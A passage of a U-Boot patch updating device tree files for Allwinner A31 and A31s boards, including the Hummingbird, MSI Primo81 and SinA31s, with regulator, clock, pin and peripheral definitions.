-+	vmmc-supply = <&reg_dcdc1>;
- 	bus-width = <4>;
- 	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
- 	cd-inverted;
-@@ -134,7 +140,7 @@
- &mmc1 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc1_pins_a>, <&wifi_reset_pin_hummingbird>;
--	vmmc-supply = <&vcc_wifi>;
-+	vmmc-supply = <&reg_aldo1>;
- 	mmc-pwrseq = <&wifi_pwrseq>;
- 	bus-width = <4>;
- 	non-removable;
-@@ -146,6 +152,13 @@
- };
- 
- &pio {
-+	gmac_phy_reset_pin_hummingbird: gmac_phy_reset_pin at 0 {
-+		allwinner,pins = "PA21";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	mmc0_cd_pin_hummingbird: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PA8";
- 		allwinner,function = "gpio_in";
-@@ -164,70 +177,69 @@
- &p2wi {
- 	status = "okay";
- 
--	axp221: pmic at 68 {
-+	axp22x: pmic at 68 {
- 		compatible = "x-powers,axp221";
- 		reg = <0x68>;
- 		interrupt-parent = <&nmi_intc>;
- 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
--		interrupt-controller;
--		#interrupt-cells = <1>;
--		dcdc1-supply = <&vcc_3v0>;
--		dcdc5-supply = <&vcc_dram>;
--
--		regulators {
--			x-powers,dcdc-freq = <3000>;
--
--			vcc_3v0: dcdc1 {
--				regulator-always-on;
--				regulator-min-microvolt = <3000000>;
--				regulator-max-microvolt = <3000000>;
--				regulator-name = "vcc-3v0";
--			};
--
--			vdd_cpu: dcdc2 {
--				regulator-always-on;
--				regulator-min-microvolt = <700000>;
--				regulator-max-microvolt = <1320000>;
--				regulator-name = "vdd-cpu";
--			};
--
--			vdd_gpu: dcdc3 {
--				regulator-always-on;
--				regulator-min-microvolt = <700000>;
--				regulator-max-microvolt = <1320000>;
--				regulator-name = "vdd-gpu";
--			};
--
--			vdd_sys_dll: dcdc4 {
--				regulator-always-on;
--				regulator-min-microvolt = <1100000>;
--				regulator-max-microvolt = <1100000>;
--				regulator-name = "vdd-sys-dll";
--			};
--
--			vcc_dram: dcdc5 {
--				regulator-always-on;
--				regulator-min-microvolt = <1500000>;
--				regulator-max-microvolt = <1500000>;
--				regulator-name = "vcc-dram";
--			};
--
--			vcc_wifi: aldo1 {
--				regulator-min-microvolt = <3300000>;
--				regulator-max-microvolt = <3300000>;
--				regulator-name = "vcc_wifi";
--			};
--
--			avcc: aldo3 {
--				regulator-always-on;
--				regulator-min-microvolt = <3000000>;
--				regulator-max-microvolt = <3000000>;
--				regulator-name = "avcc";
--			};
--		};
- 	};
- };
- 
-+#include "axp22x.dtsi"
-+
-+&reg_aldo1 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-wifi";
-+};
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-gpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc4 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-sys-dll";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
- &reg_usb1_vbus {
- 	gpio = <&pio 7 24 GPIO_ACTIVE_HIGH>; /* PH24 */
- 	status = "okay";
---- a/arch/arm/dts/sun6i-a31.dtsi
-+++ b/arch/arm/dts/sun6i-a31.dtsi
-@@ -61,7 +61,7 @@
- 		#size-cells = <1>;
- 		ranges;
- 
--		framebuffer at 0 {
-+		simplefb_hdmi: framebuffer at 0 {
- 			compatible = "allwinner,simple-framebuffer",
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0-hdmi";
-@@ -69,7 +69,7 @@
- 			status = "disabled";
- 		};
- 
--		framebuffer at 1 {
-+		simplefb_lcd: framebuffer at 1 {
- 			compatible = "allwinner,simple-framebuffer",
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0";
-@@ -252,6 +252,20 @@
- 			compatible = "allwinner,sun6i-a31-ahb1-gates-clk";
- 			reg = <0x01c20060 0x8>;
- 			clocks = <&ahb1>;
-+			clock-indices = <1>, <5>,
-+					<6>, <8>, <9>,
-+					<10>, <11>, <12>,
-+					<13>, <14>,
-+					<17>, <18>, <19>,
-+					<20>, <21>, <22>,
-+					<23>, <24>, <26>,
-+					<27>, <29>,
-+					<30>, <31>, <32>,
-+					<36>, <37>, <40>,
-+					<43>, <44>, <45>,
-+					<46>, <47>, <50>,
-+					<52>, <55>, <56>,
-+					<57>, <58>;
- 			clock-output-names = "ahb1_mipidsi", "ahb1_ss",
- 					"ahb1_dma", "ahb1_mmc0", "ahb1_mmc1",
- 					"ahb1_mmc2", "ahb1_mmc3", "ahb1_nand1",
-@@ -281,6 +295,9 @@
- 			compatible = "allwinner,sun6i-a31-apb1-gates-clk";
- 			reg = <0x01c20068 0x4>;
- 			clocks = <&apb1>;
-+			clock-indices = <0>, <4>,
-+					<5>, <12>,
-+					<13>;
- 			clock-output-names = "apb1_codec", "apb1_digital_mic",
- 					"apb1_pio", "apb1_daudio0",
- 					"apb1_daudio1";
-@@ -299,6 +316,10 @@
- 			compatible = "allwinner,sun6i-a31-apb2-gates-clk";
- 			reg = <0x01c2006c 0x4>;
- 			clocks = <&apb2>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>, <16>,
-+					<17>, <18>, <19>,
-+					<20>, <21>;
- 			clock-output-names = "apb2_i2c0", "apb2_i2c1",
- 					     "apb2_i2c2", "apb2_i2c3",
- 					     "apb2_uart0", "apb2_uart1",
-@@ -346,6 +367,14 @@
- 					     "mmc3_sample";
- 		};
- 
-+		ss_clk: clk at 01c2009c {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			reg = <0x01c2009c 0x4>;
-+			clocks = <&osc24M>, <&pll6 0>;
-+			clock-output-names = "ss";
-+		};
-+
- 		spi0_clk: clk at 01c200a0 {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun4i-a10-mod0-clk";
-@@ -384,6 +413,9 @@
- 			compatible = "allwinner,sun6i-a31-usb-clk";
- 			reg = <0x01c200cc 0x4>;
- 			clocks = <&osc24M>;
-+			clock-indices = <8>, <9>, <10>,
-+					<16>, <17>,
-+					<18>;
- 			clock-output-names = "usb_phy0", "usb_phy1", "usb_phy2",
- 					     "usb_ohci0", "usb_ohci1",
- 					     "usb_ohci2";
-@@ -684,6 +716,16 @@
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 			};
- 
-+			mmc3_8bit_emmc_pins: mmc3 at 1 {
-+				allwinner,pins = "PC6", "PC7", "PC8", "PC9",
-+						 "PC10", "PC11", "PC12",
-+						 "PC13", "PC14", "PC15",
-+						 "PC24";
-+				allwinner,function = "mmc3";
-+				allwinner,drive = <SUN4I_PINCTRL_40_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+			};
-+
- 			gmac_pins_mii_a: gmac_mii at 0 {
- 				allwinner,pins = "PA0", "PA1", "PA2", "PA3",
- 						"PA8", "PA9", "PA11",
-@@ -761,6 +803,13 @@
- 			reg = <0x01c20ca0 0x20>;
- 		};
- 
-+		lradc: lradc at 01c22800 {
-+			compatible = "allwinner,sun4i-a10-lradc-keys";
-+			reg = <0x01c22800 0x100>;
-+			interrupts = <GIC_SPI 30 IRQ_TYPE_LEVEL_HIGH>;
-+			status = "disabled";
-+		};
-+
- 		rtp: rtp at 01c25000 {
- 			compatible = "allwinner,sun6i-a31-ts";
- 			reg = <0x01c25000 0x100>;
-@@ -907,6 +956,16 @@
- 			#size-cells = <0>;
- 		};
- 
-+		crypto: crypto-engine at 01c15000 {
-+			compatible = "allwinner,sun4i-a10-crypto";
-+			reg = <0x01c15000 0x1000>;
-+			interrupts = <GIC_SPI 80 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&ahb1_gates 5>, <&ss_clk>;
-+			clock-names = "ahb", "mod";
-+			resets = <&ahb1_rst 5>;
-+			reset-names = "ahb";
-+		};
-+
- 		timer at 01c60000 {
- 			compatible = "allwinner,sun6i-a31-hstimer",
- 				     "allwinner,sun7i-a20-hstimer";
-@@ -1068,7 +1127,7 @@
- 			resets = <&apb0_rst 0>;
- 			gpio-controller;
- 			interrupt-controller;
--			#interrupt-cells = <2>;
-+			#interrupt-cells = <3>;
- 			#size-cells = <0>;
- 			#gpio-cells = <3>;
- 
---- a/arch/arm/dts/sun6i-a31s-primo81.dts
-+++ b/arch/arm/dts/sun6i-a31s-primo81.dts
-@@ -1,16 +1,57 @@
- /*
-- * Copyright 2015 Hans de Goede <hdegoede at redhat.com>
-+ * Copyright 2014 Siarhei Siamashka <siarhei.siamashka at gmail.com>
-+ * Copyright 2015 Karsten Merker <merker at debian.org>
-+ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
-  *
-- * Minimal dts file for the MSI Primo81 for u-boot only
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-  *
-- * SPDX-License-Identifier:     GPL-2.0+ or X11
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-  */
- 
- /dts-v1/;
- #include "sun6i-a31s.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
- 
- / {
--	model = "MSI Primo81";
-+	model = "MSI Primo81 tablet";
- 	compatible = "msi,primo81", "allwinner,sun6i-a31s";
- 
- 	aliases {
-@@ -22,8 +63,202 @@
- 	};
- };
- 
--&uart0 {
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc3>;
-+};
-+
-+&ehci0 {
-+	/* rtl8188etv wifi is connected here */
-+	status = "okay";
-+};
-+
-+&i2c0 {
-+	/* pull-ups and device VDDIO use AXP221 DLDO3 */
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "failed";
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+
-+	ctp at 5d {
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&gt911_int_primo81>;
-+		compatible = "goodix,gt911";
-+		reg = <0x5d>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <0 3 IRQ_TYPE_LEVEL_HIGH>; /* PA3 */
-+		touchscreen-swapped-x-y;
-+	};
-+};
-+
-+&i2c2 {
- 	pinctrl-names = "default";
--	pinctrl-0 = <&uart0_pins_a>;
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+
-+	accelerometer at 1c {
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&mma8452_int_primo81>;
-+		compatible = "fsl,mma8452";
-+		reg = <0x1c>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <0 9 IRQ_TYPE_LEVEL_HIGH>; /* PA9 */
-+		#io-channel-cells = <1>;
-+	};
-+};
-+
-+&lradc {
-+	vref-supply = <&reg_aldo3>;
-+	status = "okay";
-+
-+	button at 158 {
-+		label = "Volume Up";
-+		linux,code = <KEY_VOLUMEUP>;
-+		channel = <0>;
-+		voltage = <158730>;
-+	};
-+
-+	button at 349 {
-+		label = "Volume Down";
-+		linux,code = <KEY_VOLUMEDOWN>;
-+		channel = <0>;
-+		voltage = <349206>;
-+	};
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_primo81>;
-+	vmmc-supply = <&reg_dcdc1>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&pio {
-+	gt911_int_primo81: gt911_int_pin at 0 {
-+		allwinner,pins = "PA3";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	mma8452_int_primo81: mma8452_int_pin at 0 {
-+		allwinner,pins = "PA9";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
-+	mmc0_cd_pin_primo81: mmc0_cd_pin at 0 {
-+		allwinner,pins = "PA8";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+};
-+
-+&p2wi {
-+	status = "okay";
-+
-+	axp22x: pmic at 68 {
-+		compatible = "x-powers,axp221";
-+		reg = <0x68>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+#include "axp22x.dtsi"
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_dc1sw {
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-lcd";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpus"; /* This is an educated guess */
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-gpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc4 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-sys-dll";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+&reg_dldo1 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-wifi";
-+};
-+
-+&reg_dldo3 {
-+	regulator-min-microvolt = <2800000>;
-+	regulator-max-microvolt = <2800000>;
-+	regulator-name = "vddio-csi";
-+};
-+
-+&reg_eldo3 {
-+	regulator-min-microvolt = <1080000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-mipi-bridge";
-+};
-+
-+&simplefb_lcd {
-+	vcc-lcd-supply = <&reg_dc1sw>;
-+	vdd-mipi-bridge-supply = <&reg_eldo3>;
-+};
-+
-+&usb_otg {
-+	/* otg support requires support for AXP221 usb-power-supply and GPIO */
-+	dr_mode = "host";
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	usb1_vbus-supply = <&reg_dldo1>;
- 	status = "okay";
- };
---- /dev/null
-+++ b/arch/arm/dts/sun6i-a31s-sina31s-core.dtsi
-@@ -0,0 +1,142 @@
-+/*
-+ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun6i-a31s.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
-+
-+/ {
-+	model = "Sinlinx SinA31s Core Board";
-+	compatible = "sinlinx,sina31s", "allwinner,sun6i-a31s";
-+
-+	aliases {
-+		serial0 = &uart0;
-+	};
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc3>;
-+};
-+
-+/* eMMC on core board */
-+&mmc3 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc3_8bit_emmc_pins>;
-+	vmmc-supply = <&reg_dcdc1>;
-+	vqmmc-supply = <&reg_dcdc1>;
-+	bus-width = <8>;
-+	non-removable;
-+	cap-mmc-hw-reset;
-+	status = "okay";
-+};
-+
-+/* AXP221s PMIC on core board */
-+&p2wi {
-+	status = "okay";
-+
-+	axp22x: pmic at 68 {
-+		compatible = "x-powers,axp221";
-+		reg = <0x68>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+#include "axp22x.dtsi"
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-gpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc4 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-sys-dll";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+/* UART0 pads available on core board */
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
-+};
-+
---- /dev/null
-+++ b/arch/arm/dts/sun6i-a31s-sina31s.dts
-@@ -0,0 +1,153 @@
-+/*
-+ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/* The SinA31s development board has the SinA31s core board soldered on */
-+#include "sun6i-a31s-sina31s-core.dtsi"
-+
-+#include <dt-bindings/input/input.h>
-+
-+/ {
-+	model = "Sinlinx SinA31s Development Board";
-+	compatible = "sinlinx,sina31s-sdk", "allwinner,sun6i-a31s";
-+
-+	chosen {
-+		stdout-path = "serial0:115200n8";
-+	};
-+
-+	leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&led_pin_sina31s>;
-+
-+		status {
-+			label = "sina31s:status:usr";
-+			gpios = <&pio 7 13 GPIO_ACTIVE_HIGH>; /* PH13 */
-+		};
-+	};
-+};
-+
-+&ehci0 {
-+	/* USB 2.0 4 port hub IC */
-+	status = "okay";
-+};
-+
-+&ehci1 {
-+	status = "okay";
-+};
-+
-+&gmac {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&gmac_pins_mii_a>;
-+	phy = <&phy1>;
-+	phy-mode = "mii";
-+	phy-supply = <&reg_dldo1>;
-+	status = "okay";
-+
-+	phy1: ethernet-phy at 1 {
-+		reg = <1>;
-+	};
-+};
-+
-+&ir {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&ir_pins_a>;
-+	status = "okay";
-+};
-+
-+&lradc {
-+	vref-supply = <&reg_aldo3>;
-+	status = "okay";
-+
-+	button at 158 {
-+		label = "Volume Up";
-+		linux,code = <KEY_VOLUMEUP>;
-+		channel = <0>;
-+		voltage = <158730>;
-+	};
-+
-+	button at 349 {
-+		label = "Volume Down";
-+		linux,code = <KEY_VOLUMEDOWN>;
-+		channel = <0>;
-+		voltage = <349206>;
-+	};
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_sina31s>;
-+	vmmc-supply = <&reg_dcdc1>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 0 4 GPIO_ACTIVE_HIGH>; /* PA4 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&ohci1 {
-+	status = "okay";
-+};
-+
-+&pio {
-+	led_pin_sina31s: led_pin at 0 {
-+		allwinner,pins = "PH13";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	mmc0_cd_pin_sina31s: mmc0_cd_pin at 0 {
-+		allwinner,pins = "PA4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+};
-+
-+&reg_dldo1 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-gmac-phy";
-+};
-+
-+&usbphy {
-+	status = "okay";
-+};
---- /dev/null
-+++ b/arch/arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts
-@@ -0,0 +1,205 @@
-+/*
-+ * Copyright 2015 Lawrence Yu <lyu at micile.com>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun6i-a31s.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
-+
-+/ {
